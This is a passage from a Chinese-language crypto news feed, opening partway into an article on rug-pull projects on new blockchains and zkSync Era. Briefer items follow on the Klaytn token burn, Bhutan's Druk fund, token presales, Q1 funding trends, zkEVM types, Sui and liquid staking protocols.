Swap」的自动做市商（AMM）「土矿」项目突然删除社交媒体信息，并将链上资产转移，导致用户「损失」共计约 34.5 万美元资金后，币安安全团队帮用户追回了损失资金约 99.9%。 除了 Wine Swap，大家也一定还记得此前 BSC 上的 Meerkat Finance。2021 年，BSC DeFi 项目 Meerkat Finance 于社交媒体上称金库合约被黑客攻击，近 1400 万美元用户资金被盗，事件发生后，该项目官网无法进入，社交媒体关闭。 事后安全团队对攻击地址分析，该事件是项目方有预谋的钓鱼事件，从一开始就是奔着跑路去的；而在本次事件中，代码层的罪魁祸首就是「可升级的代理合约」，导致项目方拥有过大的权限，盗取资金非常容易。 再让我们回到 2021 年 9 月，那时的 Arbitrum 已上线两周，而让人诧异的是，打响 Arbitrum 上线第一炮的也不是什么根正苗红的头部 DeFi 协议，而是各路土狗野矿。当时部署在 Arbitrum 网络上的一些热点代币，早已不见踪影。 同样的情况也发生在了 Aptos 上，2022 年在 Aptos 上最有名的 RUG 项目当属 Mojito 了。让我们也一起简单回顾一下 Mojito 的始末。 Mojito Market 是 Aptos 上的去中心化菠菜 DEX（投注），用户可以根据每日上线的竞猜项目进行下注（比如体育类赛事、政治类决策、社会类竞猜等），通常会有两种选项，用户通过资金下注后界面会显示相关数据和赔率，该项目初期获 Aptos 大力支持，在 Aptos 未发币之前，Mojito Market 是用户交互 Aptos 的主要渠道之一，项目最初是通过测试币领取下注，每日获得积分，连续 10 天的积分总计排行靠前的地址会收到该项目原生 token MOJO。去年 FTX 崩盘后，该项目发推表示因 FTX 和 Alameda 崩盘，Mojito 已失去其在 FTX 托管的项目资金，将暂停开发协议，资金好转时计划在以太坊上重新部署 MOJO 实现其多链计划，将在日后发布更新有关信息。 Mojito Market 在 Aptos 初期上线，凭借 Aptos 空投博取关注度和用户，后期又推出了 Mojito DEX 用以增加 MOJO 流动性，但因为 APT 价格波动，MOJO 价格始终没达到用户预期，项目方承诺继续增加流动性，但用户大多已经出售持有的 MOJO，对于用户而言，该项目没有任何利好进展和愿景。 时至今日，该项目社交媒体并未更新任何信息，项目停在了 2023 年 1 月 14 日，现在回忆，Mojito 发文称失去资金扶持只不过是个幌子罢了，大家心里清楚，Alemeda 和 FTX 崩盘之际，有很多 Rug 项目都自称资金托管于 Alemeda 而无法继续项目开发，FTX 只是项目 Rug 的一个借口。没有大机构背书，没有知名投资方，项目披露信息不多，仅靠公链获取用户数，最后因项目进展不顺借口暂停开发。 一个新兴领域的兴起总是龙蛇混杂，泥沙俱下，市场的繁荣也给恶意行为者带来了机会，新链上线也不例外，一些从业者利用跑路、欺诈等违法行为使毫无戒备心的受害者蒙受损失。 甚至近期社区还流传，SyncSwap 与此前 Aptos Rug 项目 Mojito 是同一个团队，Mojito Market 项目也是去年大家交互 Aptos 的主要项目，而后 Mojito Markets 官方表示，因 FTX 崩盘，该项目已失去其在 FTX 托管的项目资金，将暂停开发该协议。 正如我们所看到的，回顾 BSC、Aptos 和 Arbitrum 的上线初期，无一不例外的都是相同的景象，而这背后似乎与出没在新链背后的一些「项目工厂」密不可分。 他们特别喜欢在新链上线的初期出没，收割完一批因新链效应而涌入的用户，关掉账号和网站，带走社区的流动性后离场分账，又继续等待下一个公链生态。就这样兜兜转转，改改项目名称，再改几行代码，但背后还是这些「熟悉」的团队。 他们通常是当红公链上线的第一批热门项目，匿名神秘，没有知名投资人站台，没有背书，没有大公司审计，却不乏 KOL 的热捧，全靠社区纯 fomo，还能把各种营销手段玩的有声有色。 确实，一方面这些土狗能制造和带来热点，为生态初期营造出火热的氛围，吸引初始启动的资产以及用户流量。但另一方面，土狗项目跑路卷走的不仅仅是资金量，也是社区部分人的信心。要知道，在生态上线初期做交互和质押的都是一些聪明钱，而这部分人给出的负面反馈造成的效应对生态本身的口碑就是一种损失和伤害。 回到 zkSync Era 生态上来，看看 dune 上的数据。Arbitrum 刚上线的 9 月，ETH 的质押价值 37 万个，而 zkSync Era 目前最高质押量是 3894 个。 zkSync Era 目前的情况是，生态上应用很多，能算得上主流、优质的却很少，仅靠背后超 4 亿美元的融资并不能支撑其未来发展，还是要有一些优质的应用支撑，目前也确实有很多项目蓄势待发，对于 DeFi 来说，或许可以期待下一步 Uniswap 上线 zkSync。 虽然相比之下，SyncSwap 目前在生态内的综合实力排名靠前，但就整个生态而已，抛开其它功能不谈，只看 zkSync Era 的 Swap 和流动性池，zkSync Era 上 TVL 排名靠前的几个 DEX 完善程度还不够，与那些顶级 DeFi 协议（Lido、MakerDao）还是相距甚远。 SyncSwap 相比 Arbitrum 的 GMX 的也还有很长一段路要走，且目前大多数的交易数据都是来自交互 zkSync Era 空投的地址，当然，空投交互数据也是大多数 DeFi 协议的数据来源，但对于 SyncSwap 来说，目前一家独大，开始随意更改一些规则，这也说明该项目对用户态度的随便。而 SyncSwap 的忠诚度计划也反映出该项目开始膨胀了。 我们再来看看公链最具有正统性的选手以太坊是怎么做的，这对于 zkSync Era 以及之后的其他新公链或许能给出一些参考答案。 自 IC0 上线初期开始 ETH 测试网 Hackthon 就开展的如火如荼，且以太坊基金会也一直在背后扶持一些正统项目，比如现在几乎没人不用的MetaMask。 截止到 2020 年 5 月，在以太坊生态内，就有超过 150 个以太坊项目共收到近 2500 万美金的资助资金。其中以太坊基金会是最大的资助组织，已捐赠 2100 多万美金，发放了 94 笔资助。大家都知道跑路项目不是以太坊扶持和支持的，这也是为什么所有人也都知道以太坊上不乏跑路项目，但仍相信以太坊正统性的原因之一。 包括 zkSync Era 在内的新公链也需要更多思考，如何不让自己的生态淹没在诈骗和跑路的项目中，在测试和上线的初期就扶持一些正经、有实力、有背景的项目，举办一些黑客松比赛，让一些心怀不轨的匿名土狗不具有过度的影响力。在无法控制土狗项目涌入的前期，就展示出自己的态度，与土狗项目的立场隔绝开。 当然我们都知道，zkSync Era 是 ZK 赛道最值得期待和最有前景的公链之一，等到 zkSync Era 真正繁荣起来的那一天，还需要非常多的时间。  ( 9 min )
    韩国公链Klaytn已销毁52.96亿枚KLAY，占总供应量的50%
    PANews 4月17日消息，韩国公链项目Klaytn今日发推文称，Cypress KIP-103硬分叉已在区块119750400处执行，销毁和资金再平衡均已完成，已销毁5,296,324,269 枚KLAY，占总供应量的50%。 根据4月13日的消息，这些被销毁的代币来自Klaytn的国库（总计72.81亿），系2019年主网启动期间铸造。储备中剩余的20亿代币将被保留，用于为未来的生态系统提供资金；但如果未能保证用途，这些代币也将在三年内被烧毁。  ( 1 min )
    福布斯：不丹主权财富基金Druk在过去一年里秘密向加密货币投入数千万美元
    PANews 4月17日消息，据福布斯报道，法庭文件显示，在过去的一年里，不丹王国皇家持有和管理政府的主权财富基金Druk Holdings & Investments向比特币、以太坊和其他数字资产投入了数千万美元，并且其是已破产的加密货币贷方BlockFi和Celsius的客户，但它从未公开披露过这两点。据悉，该基金持有29亿美元的资产。 上个月，BlockFi的律师向不丹首都廷布的Druk提交了一份诉状，指控Druk拖欠3000万美元贷款。Druk的首席执行官Ujjwal Deep Dahal表示：“BlockFi的问题已经解决。由于保密原因，我们无法发表评论。”此外，在Celsius法庭文件中显示的三个月内，Druk提取了超过6500万美元，并存入了近1800万美元的数字资产。Druk拒绝评论这些资金的来源和使用方式。 据报道，至少从2022年开始，Druk还培养了一个秘密的加密投资组合。目前尚不清楚Druk的持股是否与不丹最近的现代化计划有关。报道称，Druk对加密货币的数千万美元投资对于一家旨在促进国内风险投资的控股公司来说将是一个奇怪的举动。如果它确实是一个主权财富基金，它似乎是第一个直接拥有加密货币的基金。国际主权财富基金论坛首席执行官Duncan Bonfield否认了这种说法，称“我们没有看到对加密货币作为一种资产类别的真正兴趣，我们不相信我们的任何成员在他们的投资组合中配置了加密货币。”  ( 1 min )
    解读代币预售的类别、优缺点及其注意事项
    作者：阿尔法新酱 聊到代币预售，大家总是说成为早期投资者就是致富关键。 但是你有没有想过：为什么很多人都在冲，都在梭哈，就偏偏你会亏钱呢？@CJCJCJCJ_写了详细的教学推文，归纳亏钱主因：因为你根本不知道你买的是什么。 我们先认识一下预售是什么，并且在参与预售之前应该考虑什么。 本帖文将介绍代币预售的定义、类别、各项优缺点以及笔者常做的事情！ 代币预售是项目/协议为团队筹集资金而进行的一种募资形式。 项目方给你代币，换取您的资金，用以支付协议开支，包括营销、薪水、开发等。 代币进入市场前有几种不同类型的销售： 对于代币销售这个主题，我们将特别侧重于零售轮的公开预售。 那么公开预售有哪些不同类型？我们可以看看下图和下文的解说。 固定价格不设限 固定的代币数量以固定价格出售 可以募集 100 美元或 100 万美元，无论如何都会启动，大多数情况下会实行软顶限制 大多数都是垃圾项目，只为赚钱。 溢价模式 没有硬上限，但筹集资金有固定数量 根据所筹集资金的池子占比分配代币 投资金额越多，获得的代币越多，未使用的资金将退回 @MMFcrypto 喜欢使用溢价模式，最近 @velocorexyz 也使用了这种方式 平台 IDO 在平台上进行募资，可能需要持有他们的代币才能获得分配 Pinksale / Gempad 不需要用户持有平台代币，但会从团队筹集的代币/资金中收取一定比例 @impossiblefi 让代币持有者和非持有者都可以参与，可以获得更好的价格/更大的分配/更少的竞争 动态定价 根据需求水平的高低，越多的人参与预售，就可能导致代币价格的增长 每个人以相同的价格参与，唯一改变的是 FDV/MC 和最终价格 @CamelotDEX 采用了这种募资方法 现在，您已经更加了解不同类型的预售，让我们深入探讨各项代币销售的优点/缺点以及我的看法： → 没有限制或硬顶的预售是 100% 愚蠢的。如果每个想要参与的人都参加了预售，那么谁还会在市场上买代币呢？99%的筹款这样筹得的代币在上市时往往下跌。 → 溢出是不错的，但是对巨鲸过于友善。 想象一下，如果巨鲸在一个500万美元的池子里贡献了100万美元，而你只贡献了1000美元，他将获得20%的代币供应量，而你将只获得0.02%的代币供应量。 那些没有「足够」参与度的人在发行期间往往会更加疯狂，那时鲸鱼们就会高兴了。 → 软顶+硬顶是个不错的模式，但是具体表现取决于筹集的金额。 如果你是一个 memecoin 项目，筹集了1000万美元，即使达到了软顶，如果缺乏购买压力，预售后的下跌也会导致下跌。 → 通过 NFT 筹集资金并给予空投，取决于具体情况，NFT 相对于其他代币而言相对不流动，但这是一种在代币扩散方面筹集资金的好方法，同时向 NFT 持有者承诺分配一定比例的代币，以满足他们“GIB AIRDROP”的要求。 → 取决于您选择使用哪个代币销售平台，通过平台参与IDO可能是有益的，尤其是如果您是团队的支持者并持有他们的代币。 通常情况下，如果使用了平台服务，平台会从筹集的资金或代币抽取一部分。 @impossiblefi 的回购计划是目前为止，笔者发现的唯一一个旨在保护参与者的计划。 → 国库交换（Treasury Swaps）可以是一种利用您已经拥有的现有代币的好方法（假设您看好并/或已经将所有稳定代币绑定），并为项目启动时使用自己的资金库，而不必市场购买并承担滑点/费用。 → 荷兰拍卖完全是与其他买家/卖家进行对抗的 PvP 游戏，因为它基本上是一种开放市场，是一场抓住飞刀和尝试定投/时间底部的游戏，直到其他人开始宣传和狂热购买，但是对于所有人来说都是公平竞争。 请在ape进任何一种代币之前始终询问自己以下几个问题： → 在我参与的销售，并且在代币发行后是否有买盘？如果有，持有/抛售（取决于你），如果没有，为什么不在发行后购买？ → 这个代币预售合约/平台是否安全？如果是内部开发的，开发人员是否能够作弊？ → 是否有任何锁仓计划？代币价格必须上涨多少倍才能弥补我的未锁仓的代币损失？ → 其他轮次的估值如何？锁仓计划如何？ → 谁在发行后拥有流动性代币，他们会卖吗？为什么会/不会卖？ → 是否有任何锁定代币的场外交易买家？如果有，他们的利率是多少？ → 如果产品尚未推出，这个代币的估值是否合理？如果已推出，与其他项目相比指标是否合理且是否被高估？ → 团队是否一直开放额外轮次，如 @SatinExchange？如果是，请避开。 笔者一般会做的事情： 梭哈Overflow，然后再卖出获利 推广笔者的推特和 @C4dotgg 参与私募销售 避免参与公售，除非是好友推荐 在荷兰式拍卖中与其他Degens PvP 大多在项目上线后买入回调 询问朋友合约是否安全，以便参与并投入资金 等待产品上线后重新审视图表和指标  ( 3 min )
    黄立成发推称退出NFT领域
    PANews 4月17日消息，中国台湾歌手黄立成（推特账号Machi Big Brother）在4月15日的推文中称，其已退出NFT领域。不过其推特头像仍为“无聊猿”BAYC NFT的图片。 相关阅读：对话黄立成：从演艺圈跨到Web3，为何总能成为带头大哥？  ( 1 min )
    Q1加密投融资报告：市场概况、热门趋势与投资机构表现
    作者：西昻翔，谷昱，RootData 2023 年第一季度刚刚过去，身处其中的加密从业者大多喜忧参半。一方面，美国数家银行发生挤兑危机、监管机构对中心化交易所的持续打压冲击着市场信心；但另一方面，以 BTC、ETH 为代表的加密资产在二级市场表现相当不俗。除价格因素外，我们也相信，加密领域内的多个信号正在显现出强劲的复苏和增长迹象。 那么，2023 年第一季度加密投融资市场具体表现如何？当下市场最热门的趋势都有哪些？投资机构们的出手频次、偏好如何？Rootdata 结合平台统计数据对此进行了全面分析。本报告共包含三个部分：2023Q1 加密投融资市场概况、投融资市场趋势分析以及投资机构表现。 RootData 数据显示，2023 年 1-3 月，加密行业共披露 309 起项目融资事件，融资总金额达到 23.17 亿美元，远低于 2022 年 1-3 的 124.8 亿美元，同比下降约 81%。相比 2022 年 10-12 月的 34.63 亿美元也有明显下滑，环比下降 33%。总而言之，该季度融资笔数和融资金额均创 2021 年以来新低。 由此可见，加密行业进入熊市周期后，一级市场的融资节奏出现了断崖式下跌，投资机构们相对较为谨慎，并未积极出手。另一方面，许多项目的一二级市场出现估值倒挂，因而二级市场较一级市场更受投资者青睐。 从各赛道融资分布来看，下图为 2023 年第一季度 1-3 月各板块的融资笔数和融资金额（单位：亿美元）情况： 其中，基础设施赛道的融资笔数和金额均为九大赛道中最高，平均单笔融资额超过 1000 万美元。该赛道的热门融资项目包括模块化区块链、zk 概念等； DeFi 赛道的融资笔数位列第二，融资金额排名第四，该赛道的热门细分领域是 DEX、衍生品等； 游戏和社交娱乐赛道分属融资笔数的三、四位，包括游戏平台、创作者经济等细分方向在 2023 第一季度备受资本青睐。 二、2023Q1 加密投融资市场趋势分析 1）以太坊质押协议及服务 以太坊流动性质押允许用户在区块链网络中锁定 ETH 以获得奖励，同时保持锁定资金的流动性。据 DefiLlama 数据，截至 2023 年 3 月底，存入流动性质押协议的加密资产总价值接近 150 亿美元。而即将到来的以太坊上海升级开启质押解锁，有望带来更高的质押参与度，也会让流动性质押协议之间的竞争更加激烈。 对用户而言，流动性质押在这几方面具有吸引力：其一是对用户友好，无需 32 个 ETH 即可参与网络验证并从中受益，属于比较稳定、安全的固收类产品；其二是质押代币可以随时提现，无门槛；其三是释放流动性，从而提升资金使用效率；其四则是用户不仅可以收到验证收益，还可以进而参与收益治理。 此外，流动性质押预计将进一步增长，因为 ETH 质押比率明显低于其他 L1 代币。目前只有 14% 的 ETH 被质押，而 58% 是 L1 质押的平均值。目前的市场共识是，一旦上海升级成功，流动性风险和锁定期的不确定性消失，会有更多资金流入质押协议。 当前市场上的流动性质押协议面临着激烈竞争，而新诞生的同类产品主要在三个方向发力：其一是与其他 Dapps 合作，为生成的衍生代币提供更多应用场景；其二是争取在更多的 L1 链上部署，以最大化提升 TVL；其三则是着力于提高协议的安全级别。 2023Q1 期间，Unamano、Rocket Pool、Obol Network、Diva、Ether.Fi 等质押协议和服务先后获得融资。另外还有机构加密货币托管和质押解决方案 Finoa、资产门槛低至 1 欧元且支持 100 多种数字资产质押的 MoodMiner。 可以说，流动性质押协议的未来取决于公链的整体长期发展，其安全性将是重中之重。此外，价值捕获能力、链上 DeFi 生态建设等因素也对协议产生不小的影响。 在过去十年中，人工智能稳步进入商业领域并在逐步改进互联网产品的用户体验，但这并未引起圈外人的太大兴趣。ChatGPT 改变了这一点。突然之间，每个人都在谈论人工智能如何颠覆他们的工作、学习和生活。 人工智能将如何改造加密领域，已经成为今年加密行业最为关注的命题之一。很多人都相信，AI 概念的成熟会为 Web3 世界带来极大增益，其典型用例包括 DeFi、GameFi、NFT、DAO、智能合约等。 2023Q1 期间，基于人工智能和机器学习的区块链平台相继获得大额融资，如 Fetch.ai、去中心化协作平台 FedML、侧重身份系统的 Aspecta、侧重社交方向的 PLAI Labs、数字资产研究平台 Kaito 以及 AI 创作平台 Botto。我们有望看到人工智能和区块链的进一步结合，从而带来更安全、透明和高效的系统。 就像传统金融衍生品市场由实体行业的对冲需求支撑，DeFi 衍生品也正在从单一的交易需求演化到更加多元的风险对冲等领域。 另一方面，虽然CEX 在衍生品交易量上遥遥领先，但鉴于更高的透明度和创新的系统设计，像GMX、Gains Network 等去中心化衍生品协议在 2022 年的熊市中同样增速明显。 当前，以交易者、流动性提供者和代币持有者为核心的新兴去中心化衍生品协议接连不断出现。从根本上说，它们着力于解决以下问题：其一，吸引流动性、提高资产利用率；其二，构建可组合性和交叉保证金，如使用多种形式加密抵押品来抵押杠杆头寸；其三，为交易者和流动性提供者提供友好的用户体验。 据 Rootdata 统计，最近一个季度，DeFi 衍生品方向获得融资的项目包括通过合成资产实现所有资产类别杠杆交易的永续合约交易平台 Narwhal Finance，Arbitrum 生态去中心化永续合约交易所 Vest Exchange，支持 10 倍杠杆的期权交易平台 Optix Protocol，以及为散户投资者构建奇异期权结构性产品的另类衍生品协议 Cega，将各种杠杆策略聚合到一个账户中的策略聚合协议 Blueberry Protocol 等。 NFT 赛道正在发生重大变化。这一新兴资产类别有望建立一套专属的金融生态。 随着 NFT 的广泛采用，各种 DeFi 协议和技术有望应用于 NFT，这就是 NFTFi，它就像“乐高积木”，可以通过插入不同协议来提高资本效率。 Aave 和 Compound 等 DeFi 平台已经诞生好几年，现在，NFTFi 领域的类似产品 BendDAO、ParaSpace、JPEG'd、NFTfi 等也已现。从 Bend、NFTfi、Pine、Arcade、JPEG'd、Drops 和 x2y2 等平台用户数据和交易量数据可以看出，这个市场正在稳步扩大。 类似 2020 年的 DeFi 之夏，NFTFi 之夏将在某个时候出现。这可能会吸引 DeFi 玩家，即便他们对 NFT 没有直接兴趣，但有望被潜在回报所吸引。 过去两年，NFT 在无杠杆参与交易的情况下经历了一个动荡的周期，而随着 NFT 衍生品的推出，将有更多人参与到规模更大的交易。NFTFi 的出现有望为整个生态带来更大流动性和更高的市场效率。 2023Q1 期间，基于 Liquidity Book 的 NFT 自动做市商协议 Midaswap、NFT 收益生成协议 insrt finance、由 Uniswap V3 提供支持的 NFT 借贷协议 paprMEME、提供杠杆交易的 NFT 衍生品交易所 NFEX、以社区为中心的 NFT 交易所 EZswap 等纷纷获得融资。 Web3 中的大多数公司都在努力做出数据驱动的决策来推动增长。加密领域需要更多的数据分析产品来为用户提供更全面、多元、深入的洞察。另一方面，开创性的加密数据工具也将有效提升投资者决策的科学性，同时使加密行业的数据流动更加透明。 目前，关于如何集成链下、链上和社交媒体等数据，如何借助数据推动新增用户和活跃、留存，如何通过数据分析用户行为来指导业务，已经是许多游戏公司、NFT 公司甚至是资管平台们在关注的重要问题。 在 2023Q1 期间，宣布融资新闻的此类产品包括为游戏工作室和 NFT 服务的数据分析平台 Helika、专注于 NFT 和数字资产的多链洞察 bitsCrunch、专注于 Web3 的数据智能平台 EdgeIn 以及提供女巫攻击预防分析的 Web3 安全基础设施 Trusta Labs。 虽然 Web3 行业的创作者经济仍处于起步阶段，受众范围较小，内容生产匮乏，但另一方面，业内有力竞争者不多，非常蓝海，潜力很大。 代币激励作为创作者经济的一个重要创新工具，允许创作者利用新的货币化和价值捕获机制吸引粉丝，并与后者共同创造新内容。它的更大规模应用有望帮助创作者生态更加强大、更有活力。 2023Q1 期间，创作者赛道诸多细分方向均有项目获得融资。音乐方面，Web3 互动音乐平台 Muverse、音乐收藏品平台 VAULT；内容方面，Web3 内容创作平台 RepubliK、小说阅读平台 Read2N；品牌、时尚和艺术家方面，文化品牌 ManesLAB、艺术家平台 Wild、Web3 时尚平台 Syky；另外还有为 YouTube 创作者和粉丝搭建更好的互利机制平台 GigaStar 等均获得融资。 模块化区块链是指将“执行层、结算层、共识层、数据可用性层”四个组件中至少一个组件完全外包给外部链的区块链。由于在单片链上为数百万及以上用户提供服务过于复杂且解决能力有限，人们提出了分片和 Layer2 解决方案，后来逐渐演变成模块化区块链。模块化的实现最初方案是 rollups，这个概念随后进一步扩大成模块化区块链。 当前模块化区块链的主要优势有二，其一是具有主权，尽管使用了其他层，但新的模块化区块链可以像 L1 一样具有主权。这允许区块链在未经任何底层许可的情况下响应黑客攻击并推送升级；其二则是有效提高了可扩展性，即通过模块化可以在不牺牲安全性或去中心化的情况下实现扩展。 2023Q1 期间，专注于构建高性能、可定制的第二层区块链 Caldera、模块化结算层 dYmension 和可互操作和可扩展 rollups 的生态系统 Sovereign 均获得规模较大的新一轮融资。 Zk 生态正在愈发繁荣。Zk-Rollup 采用有效性证明，在链下进行所有交易的验证和打包，验证后的交易被提交到主链时附上零知识证明来证明交易的有效性。用 StarkWare CEO Uri 的话来说：“它提供了无需信任的计算诚信（computational integrity），即便没有人监督也能确信该计算被正确地执行。”听上去非常类似于早期比特币的理念。 对比来说，Optimistic Rollup 可以兼容 EVM，技术方案成熟且落地早，对开发者来说迁移成本较低，代表项目 Arbitrum 和 Optimism 是目前 rollup 中市场占有率最高的。而 zk-Rollups 因为不兼容 EVM，技术难度也比较大，开发进度较慢，目前应用并不如可以面向智能合约的 OP 系的 rollup 广泛。 但 zk-Rollup 与 Optimistic Rollup 相比还是有诸多优势，其一是可扩展性更好，zk-Rollups需要上传到主网的数据小于Optimistic Rollups。在实际应用中 zk-Rollup 提升性能的能力大概是 Optimistic Rollup 的十倍左右；其二是交易最终确定时间短。其三则是安全性更高。 Vitalik 曾在 2021 年说过：“短期内，Optimistic rollup 会因为其 EVM 的兼容性胜出。但从中长期来看，随着 zk-SNARK 技术的改进，zk-rollups 会赢得所有用例。” 2023Q1 期间，宣布完成融资的 zk 概念项目包括：基于零知识证明的信任层 Proven、以太坊原生 zkEVM 第 2 层解决方案 Scroll、zk-rollup 协议 Polybase、Web3 互操作性基础设施 PolyHedra、zk 暗池协议 Renegade、ZK硬件加速项目 Cysic、可互操作和可扩展 rollups 的生态系统 Sovereign、基于 ZKP 的终极 Web3 中间件 Hyper Oracle、零知识证明市场 =nil; 。 Web3 安全技术在快速发展，但区块链的代码透明性和开放性仍然导致黑客事件频发。 2021 年至今，Web3 因安全问题造成的损失超过 100 亿美元。因此，如何为企业、基础设施提供商和普通用户提供资产保护相关产品，以避免黑客或人为错误产生损失，始终是加密行业的重要主题。 如何分析智能合约以防止漏洞？如何监控链上交易的恶意活动？如何建立一个更好、更成熟的数字资产生态系统？以上问题也是该赛道公司所试图解决的。 2023Q1 期间，按照服务客户类别不同可以将相关项目分为两类：其一面向 B 端客户，如自动进行威胁检测并帮助团队迅速采取预防措施的加密安全服务提供商 Ironblocks、使用专有机器学习模型监控链上和链下数据源的加密安全公司 Hypernative、借助安全扫描引擎自动化生成安全扫描解决方案的 MetaTrust；其二则面向 C 端用户，如全天候主动扫描交易并可及时转移风险资产的加密安全公司 Staging Labs、可识别未经授权访问可疑交易的加密安全解决方案 Coincover。 在历经 FTX 事件等一系列风波后，加密投资机构市场也在经历重新洗牌，诸多风投机构陷入沉寂，也有多家机构仍在加快投资频率。 考虑到数据区间的代表性（第一季度数据量不足），Rootdata 统计了近 6 个月（2022 年 10 月- 2023 年 3 月）的加密投资机构出手次数，并与此前 6 个月（2022 年 4 月- 9 月）的数据进行对比，并基于最低投资 8 次的标准，筛选出 10 家投资次数增速最高与降幅最大的加密风投机构。 在增速最快的维度上，DWF Labs 是众所周知的行业黑马，近半年公开的投资次数至少为 21 次，而此前该机构并没有过出手记录。此外，ABCDE Capital、Blockchange Ventures、Chapter One、Foresight Ventures、Cogitent Ventures、Placeholder 等公开出手次数均增长一倍以上。 在降幅最大的维度上，Mechanism Capital、Folius Ventures、Zee Prime Capital、Polygon Labs、Dapper Labs、Tiger Global、Republic Capital 等知名机构的跌幅均超 85%，公开披露的投资次数都不高于 2 次。 此外，从整体投资次数来看，近 6 个月排名前十的投资方分别是 Coinbase Ventures、Shima Capital、Big Brain Holdings、Polygon Ventures、DWF Labs、Polychain、Circle Ventures、HashKey Capital、Solana Ventures、a16z。  ( 6 min )

  • Open

    【英文长推】辨析字节码兼容与语言层级兼容 zkEVM 的差异性
    Chainfeeds 导读： 现有的 zkEVM 协议中，Scroll 和 Polygon 是字节码兼容的 zkEVM，而 zkSync 和 Starknet 是语言层级兼容的 zkEVM。加密 KOL Salazar.eth 简单分析了两类 zkEVM 实现方式的不同和特点。 文章来源： https://twitter.com/0xSalazar/status/1647906690115796992 文章作者： Salazar 观点： Salazar：在一个字节码兼容的 zkEVM 中，开发人员不需要额外的工具或一个特殊版本的编译器。他们可以将 Solidity/Vyper 代码转译成字节码级别，并证明在 zk 电路中执行的有效性，同时享受 zk 电路带来的改进的可扩展性。【原文为英文】 内容来源 Salazar：语言层级兼容性比字节码兼容的 EVM 兼容性要差。语言层级兼容涉及到额外的工具，这对开发人员来说可能有点麻烦。语言层级兼容的目标是 LLVM，即语言层级兼容的 zkEVMs 将 Solidity/Vyper 编译成针对 LLVM 的字节码，它反映了 EVM 字节码的所有功能，但不是完整的 EVM 等效字节码。【原文为英文】 内容来源  ( 2 min )
    InfinitySwap 推出的 Bitfinity EVM 已部署至 IC 主网
    InfinitySwap 推出的 Bitfinity EVM 已部署至 IC 主网 IC 生态 DEX InfinitySwap 推出的 Bitfinity EVM 已上线 Internet Computer（IC）主网。Bitfinity 提供以太坊 1.0 的开发体验，具有类似于 layer-2 的速度和可扩展性。Bitfinity EVM 将使得 IC 成为 EVM 兼容链，开发者可以在其上部署 Solidity 合约。 内容来源 观点： blockpunk：IC 终于有 EVM 了，实现方式极其简单粗暴。直接用 ICP 的容器（aka. 智能合约）跑一个节点，节点允许一个单机 EVM 链。因为 ICP 网络有共识，所以单机链 EVM 确定性运行。 内容来源  ( 2 min )
    深度解读公链 Sui：发展史、生态全景、技术性能与代币经济
    Chainfeeds 导读： Aptos 和 Sui 为代表「 Meta 系」公链在巨轮融资和新的叙事背景下获得了市场的认可，随着 Aptos 主网的落地上线，市场将部分注意力转向了 Sui。加密研究机构 CryptoJ-Asia 发布公链 Sui 研报，从项目基本情况、生态发展、代币经济模型、技术网络进展、发展规划等多方面解析 Sui。 文章来源： https://medium.com/@CryptoJ-Asia/%E6%B7%B1%E5%BA%A6%E8%A7%A3%E8%AF%BB%E5%85%AC%E9%93%BE-sui-%E5%8F%91%E5%B1%95%E5%8F%B2-%E7%94%9F%E6%80%81%E5%85%A8%E6%99%AF-%E6%8A%80%E6%9C%AF%E6%80%A7%E8%83%BD%E4%B8%8E%E4%BB%A3%E5%B8%81%E7%BB%8F%E6%B5%8E-e396ed8c74fd 文章作者： CryptoJ 观点： CryptoJ：Sui 协议的主要特色如下：可扩展性，即时结算；主流开发者可以使用的安全智能合约语言；能够定义丰富和可组合的链上资产；基于 Narwhal 和 Bullshark dag 的内存池和高效的拜占庭容错（BFT）共识；因果顺序与总顺序可实现大规模并行执行；Sui 的 Move 变体及其以对象为中心的数据模型使可组合的对象 / NFT 成为可能；Move 编程语言简化了开发者体验。 内容来源 CryptoJ：代币经济模型：SUI 的总供应量上限为 100 亿枚代币，主要有以下四种用例：用户可以抵押 SUI 以参与权益证明机制（PoS）；支付 Gas 费以执行交易和其他操作；支撑整个 Sui 经济的多功能和流动资产；参与链上投票来发挥重要的治理作用。 内容来源 CryptoJ：Sui 项目进展：当前阶段 Sui 的发展重点更加偏向游戏方向，Sui 计划将会在游戏领域投入更多的资源和精力。Sui 生态当前已有超百余个项目在网络上构建，Sui 与许多传统公司合作在 GameFi、支付和云服务领域通过合作来扩展生态版图。 内容来源 CryptoJ：潜在不确定性：Sui 测试网中当然不可避免会暴露出问题，比如遇到处理过大的信息或交易；对交易的类型参数输入进行更有力的处理；Narwhal 共识的延迟改进等。同时在接下来将要进行永久测试网中或许遇到一定的技术问题调整，进而可能影响主网原定的上线时间进而波及到一些相关生态项目的进展。 内容来源  ( 16 min )
    【英文长推】对比五个主流 LSD 协议优缺点：LSD 未来格局将如何？
    Chainfeeds 导读： 以太坊上海升级完成之后，所有 LSD 协议的 TVL 均有不同程度的增加。加密 KOL 盘点了 Lido、Rocketpool、Coinbase、Frax 和 Stakewise 五个主流 LSD 协议的特点及其优缺点，并针对未来 LSD 的发展格局给出了自己的观点。 文章来源： https://twitter.com/Web3_buidl/status/1647539490137989121 文章作者： DeFi Monkey 观点： DeFi Monkey：Lido（stETH）优点：stETH 是迄今为止最流行的流动性质押代币，stETH 也被普遍接受作为抵押品。缺点：在 DEX 中使用时很复杂。Rocketpool（rETH）优点：任何人都可以通过抵押 16 ETH 和价值 1.6ETH 的 RPL 成为节点。与 stETH 相比，rETH 更好地保持了与 ETH 的锚定。缺点：流动性比 stETH 差，可作为抵押品的地方比 stETH 少。【原文为英文】 内容来源 DeFi Monkey：Coinbase（cbETH）优点 / 缺点：Coinbase 是一个上市的公共实体，这既是 cbETH 的优点也是缺点。高佣金、只有一个节点运营商是其他的缺点。Frax（sfrxETH & frxETH）优点：frxETH 被设计为与 ETH 保持一致，sfrxETH 的收益率高于其他 LSD，因为来自 frxETH 的质押收益直接流向 sfrxETH。缺点：只有一个节点运营商，设计复杂。【原文为英文】 内容来源 DeFi Monkey：Stakewise（sETH2 & rETH2）优点： 2 种不同的代币有助于减轻 DEX 中提供流动性时的无常损失。缺点：由于需要 2 个流动性池，因此导致了流动性的分割和更高的滑点。【原文为英文】 内容来源 DeFi Monkey：观点 1：LSD 是对 ETH 价格的杠杆押注，预计到 2025 年，大约 30% 的 ETH 供应将被质押；观点 2：LDO 将在 2025 年占有超过 50% 的 LSD 市场；观点 3：收益率在平衡状态下将减少至大约 3.5%；观点 4：普遍较高的完全稀释价格与销售比率（P/S）。【原文为英文】 内容来源  ( 2 min )
    探索 DeFi 信用借贷解决方案：基于 ZK-DID 的「链上信用威慑模型」
